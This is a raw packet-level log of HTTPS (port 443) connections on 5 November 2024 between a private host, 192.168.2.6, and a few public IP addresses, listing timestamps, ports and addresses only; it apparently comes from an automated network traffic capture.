Nov 5, 2024 20:51:15.595954895 CET	49770	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.595979929 CET	443	49770	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.596447945 CET	49770	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.596453905 CET	443	49770	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.732645988 CET	443	49770	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.732717037 CET	443	49770	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.732789040 CET	49770	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.733177900 CET	49770	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.733196974 CET	443	49770	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.733207941 CET	49770	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.733215094 CET	443	49770	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.739238977 CET	49776	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.739288092 CET	443	49776	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.739350080 CET	49776	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.740004063 CET	49776	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.740019083 CET	443	49776	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.801975965 CET	443	49766	4.175.87.197	192.168.2.6
Nov 5, 2024 20:51:15.802004099 CET	443	49766	4.175.87.197	192.168.2.6
Nov 5, 2024 20:51:15.802011967 CET	443	49766	4.175.87.197	192.168.2.6
Nov 5, 2024 20:51:15.802026987 CET	443	49766	4.175.87.197	192.168.2.6
Nov 5, 2024 20:51:15.802056074 CET	49766	443	192.168.2.6	4.175.87.197
Nov 5, 2024 20:51:15.802084923 CET	443	49766	4.175.87.197	192.168.2.6
Nov 5, 2024 20:51:15.802093983 CET	443	49766	4.175.87.197	192.168.2.6
Nov 5, 2024 20:51:15.802102089 CET	49766	443	192.168.2.6	4.175.87.197
Nov 5, 2024 20:51:15.802129030 CET	49766	443	192.168.2.6	4.175.87.197
Nov 5, 2024 20:51:15.802221060 CET	443	49766	4.175.87.197	192.168.2.6
Nov 5, 2024 20:51:15.802273035 CET	49766	443	192.168.2.6	4.175.87.197
Nov 5, 2024 20:51:15.802278996 CET	443	49766	4.175.87.197	192.168.2.6
Nov 5, 2024 20:51:15.812211037 CET	49766	443	192.168.2.6	4.175.87.197
Nov 5, 2024 20:51:15.812225103 CET	443	49766	4.175.87.197	192.168.2.6
Nov 5, 2024 20:51:15.812268972 CET	49766	443	192.168.2.6	4.175.87.197
Nov 5, 2024 20:51:15.812542915 CET	443	49766	4.175.87.197	192.168.2.6
Nov 5, 2024 20:51:15.812587976 CET	443	49766	4.175.87.197	192.168.2.6
Nov 5, 2024 20:51:15.812828064 CET	49766	443	192.168.2.6	4.175.87.197
Nov 5, 2024 20:51:15.886854887 CET	443	49772	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.887413979 CET	49772	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.887425900 CET	443	49772	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.887833118 CET	49772	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.887837887 CET	443	49772	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.901364088 CET	443	49774	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.901819944 CET	49774	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.901828051 CET	443	49774	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.902489901 CET	49774	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.902494907 CET	443	49774	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.925400972 CET	443	49773	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.925786972 CET	49773	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.925806999 CET	443	49773	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.926300049 CET	49773	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.926305056 CET	443	49773	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.987926960 CET	49704	443	192.168.2.6	173.222.162.64
Nov 5, 2024 20:51:15.988123894 CET	49704	443	192.168.2.6	173.222.162.64
Nov 5, 2024 20:51:15.988610983 CET	49777	443	192.168.2.6	173.222.162.64
Nov 5, 2024 20:51:15.988640070 CET	443	49777	173.222.162.64	192.168.2.6
Nov 5, 2024 20:51:15.988868952 CET	49777	443	192.168.2.6	173.222.162.64
Nov 5, 2024 20:51:15.989098072 CET	49777	443	192.168.2.6	173.222.162.64
Nov 5, 2024 20:51:15.989109993 CET	443	49777	173.222.162.64	192.168.2.6
Nov 5, 2024 20:51:15.992721081 CET	443	49704	173.222.162.64	192.168.2.6
Nov 5, 2024 20:51:15.992877007 CET	443	49704	173.222.162.64	192.168.2.6
Nov 5, 2024 20:51:16.020101070 CET	443	49772	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.020176888 CET	443	49772	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.020241022 CET	49772	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.020472050 CET	49772	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.020482063 CET	443	49772	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.020492077 CET	49772	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.020497084 CET	443	49772	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.022932053 CET	49778	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.022960901 CET	443	49778	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.023127079 CET	49778	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.023257971 CET	49778	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.023271084 CET	443	49778	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.048950911 CET	443	49774	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.049257040 CET	443	49774	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.049315929 CET	49774	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.049365044 CET	49774	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.049369097 CET	443	49774	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.049386024 CET	49774	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.049392939 CET	443	49774	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.051932096 CET	49779	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.051964045 CET	443	49779	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.052025080 CET	49779	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.052170992 CET	49779	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.052184105 CET	443	49779	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.064476013 CET	443	49773	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.064662933 CET	443	49773	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.064726114 CET	49773	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.064816952 CET	49773	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.064835072 CET	443	49773	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.064845085 CET	49773	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.064851046 CET	443	49773	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.068767071 CET	49780	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.068794966 CET	443	49780	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.068866014 CET	49780	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.069022894 CET	49780	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.069035053 CET	443	49780	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.189929962 CET	443	49775	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.190829992 CET	49775	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.190846920 CET	443	49775	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.191274881 CET	49775	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.191278934 CET	443	49775	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.327781916 CET	443	49775	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.327841997 CET	443	49775	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.327939034 CET	49775	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.328097105 CET	49775	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.328114033 CET	443	49775	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.328125954 CET	49775	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.328130960 CET	443	49775	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.330878973 CET	49781	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.330910921 CET	443	49781	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.331149101 CET	49781	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.331295013 CET	49781	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.331307888 CET	443	49781	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.492736101 CET	443	49776	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.493202925 CET	49776	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.493211031 CET	443	49776	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.493639946 CET	49776	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.493643999 CET	443	49776	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.630599022 CET	443	49776	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.631047964 CET	443	49776	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.631119013 CET	49776	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.631119013 CET	49776	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.631145954 CET	49776	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.631166935 CET	443	49776	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.634252071 CET	49782	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.634289980 CET	443	49782	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.634404898 CET	49782	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.634545088 CET	49782	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.634558916 CET	443	49782	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.645308971 CET	443	49777	173.222.162.64	192.168.2.6
Nov 5, 2024 20:51:16.645397902 CET	49777	443	192.168.2.6	173.222.162.64
Nov 5, 2024 20:51:16.784306049 CET	443	49778	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.791110039 CET	49778	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.791126966 CET	443	49778	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.791635990 CET	49778	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.791640997 CET	443	49778	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.804807901 CET	443	49779	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.805171967 CET	49779	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.805193901 CET	443	49779	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.805594921 CET	49779	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.805600882 CET	443	49779	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.817501068 CET	443	49780	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.817775011 CET	49780	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.817784071 CET	443	49780	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.818181038 CET	49780	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.818185091 CET	443	49780	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.926523924 CET	443	49778	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.926585913 CET	443	49778	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.926635027 CET	49778	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.926867962 CET	49778	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.926887035 CET	443	49778	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.926897049 CET	49778	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.926906109 CET	443	49778	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.929754019 CET	49783	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.929786921 CET	443	49783	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.929919958 CET	49783	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.930078983 CET	49783	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.930092096 CET	443	49783	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.942156076 CET	443	49779	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.942291021 CET	443	49779	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.942385912 CET	49779	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.942420006 CET	49779	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.942430973 CET	443	49779	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.942440987 CET	49779	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.942451000 CET	443	49779	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.944767952 CET	49784	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.944787979 CET	443	49784	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.945065022 CET	49784	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.945203066 CET	49784	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.945211887 CET	443	49784	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.954093933 CET	443	49780	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.954330921 CET	443	49780	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.954405069 CET	49780	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.954426050 CET	49780	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.954440117 CET	443	49780	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.954452038 CET	49780	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.954458952 CET	443	49780	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.956554890 CET	49785	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.956573963 CET	443	49785	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:16.956846952 CET	49785	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.956985950 CET	49785	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:16.956996918 CET	443	49785	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.089397907 CET	443	49781	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.089865923 CET	49781	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.089873075 CET	443	49781	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.090320110 CET	49781	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.090323925 CET	443	49781	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.225893021 CET	443	49781	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.225995064 CET	443	49781	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.226200104 CET	49781	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.226233959 CET	49781	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.226241112 CET	443	49781	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.226250887 CET	49781	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.226254940 CET	443	49781	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.228907108 CET	49786	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.228914976 CET	443	49786	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.229046106 CET	49786	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.229185104 CET	49786	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.229191065 CET	443	49786	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.370518923 CET	443	49782	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.371035099 CET	49782	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.371053934 CET	443	49782	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.371475935 CET	49782	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.371479988 CET	443	49782	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.504091024 CET	443	49782	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.504153967 CET	443	49782	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.504256010 CET	49782	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.504647970 CET	49782	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.504647970 CET	49782	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.504667997 CET	443	49782	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.504678011 CET	443	49782	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.511570930 CET	49787	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.511611938 CET	443	49787	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.511790991 CET	49787	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.511981010 CET	49787	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.511993885 CET	443	49787	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.665055037 CET	443	49783	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.670881033 CET	49783	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.670898914 CET	443	49783	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.671324015 CET	49783	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.671329975 CET	443	49783	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.697508097 CET	443	49784	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.699573040 CET	49784	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.699596882 CET	443	49784	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.714807987 CET	49784	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.714817047 CET	443	49784	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.726893902 CET	443	49785	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.744805098 CET	49785	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.744829893 CET	443	49785	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.745675087 CET	49785	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.745682955 CET	443	49785	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.800669909 CET	443	49783	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.800745010 CET	443	49783	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.802611113 CET	49783	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.803942919 CET	49783	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.803961039 CET	443	49783	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.803971052 CET	49783	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.803976059 CET	443	49783	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.847400904 CET	443	49784	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.847475052 CET	443	49784	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.847572088 CET	49784	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.878700018 CET	443	49785	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.878806114 CET	443	49785	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.878890991 CET	49785	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.928512096 CET	49784	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.928529024 CET	443	49784	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.944780111 CET	49785	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:17.944794893 CET	443	49785	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:17.990556002 CET	443	49786	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.006369114 CET	49788	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.006412029 CET	443	49788	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.006491899 CET	49788	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.007194996 CET	49786	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.007215023 CET	443	49786	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.007632017 CET	49786	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.007637024 CET	443	49786	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.017698050 CET	49788	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.017718077 CET	443	49788	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.080775023 CET	49789	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.080817938 CET	443	49789	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.080883026 CET	49789	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.081253052 CET	49790	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.081295013 CET	443	49790	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.081573963 CET	49790	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.081882954 CET	49789	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.081898928 CET	443	49789	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.082082987 CET	49790	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.082098961 CET	443	49790	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.141752005 CET	443	49786	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.141957998 CET	443	49786	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.142577887 CET	49786	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.177026033 CET	49786	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.177047014 CET	443	49786	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.177057981 CET	49786	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.177062988 CET	443	49786	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.217206001 CET	49791	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.217226982 CET	443	49791	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.217436075 CET	49791	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.220911026 CET	49791	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.220918894 CET	443	49791	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.272489071 CET	443	49787	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.273000002 CET	49787	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.273026943 CET	443	49787	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.273580074 CET	49787	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.273585081 CET	443	49787	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.410475016 CET	443	49787	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.410541058 CET	443	49787	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.410695076 CET	49787	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.443922043 CET	49787	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.443969011 CET	443	49787	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.443983078 CET	49787	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.443989992 CET	443	49787	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.454631090 CET	49792	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.454684973 CET	443	49792	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.454932928 CET	49792	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.456384897 CET	49792	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.456408024 CET	443	49792	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.783425093 CET	443	49788	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.783957005 CET	49788	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.783973932 CET	443	49788	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.784401894 CET	49788	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.784408092 CET	443	49788	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.833116055 CET	443	49789	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.833575964 CET	49789	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.833615065 CET	443	49789	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.834275007 CET	49789	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.834281921 CET	443	49789	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.870770931 CET	443	49790	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.871249914 CET	49790	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.871268988 CET	443	49790	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.871757030 CET	49790	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.871762991 CET	443	49790	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.922457933 CET	443	49788	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.923374891 CET	443	49788	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.923440933 CET	49788	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.923474073 CET	49788	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.923491955 CET	443	49788	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.923505068 CET	49788	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.923511028 CET	443	49788	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.926413059 CET	49793	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.926461935 CET	443	49793	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.926589012 CET	49793	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.926887989 CET	49793	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.926901102 CET	443	49793	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.973503113 CET	443	49789	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.973581076 CET	443	49789	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.973649979 CET	49789	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.973870993 CET	49789	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.973893881 CET	443	49789	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.973910093 CET	49789	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.973915100 CET	443	49789	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.976876020 CET	49794	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.976917982 CET	443	49794	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.977030039 CET	49794	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.977262020 CET	49794	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.977272034 CET	443	49794	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.988286018 CET	443	49791	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.989018917 CET	49791	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.989042044 CET	443	49791	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:18.989497900 CET	49791	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:18.989502907 CET	443	49791	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:19.014319897 CET	443	49790	13.107.253.45	192.168.2.6
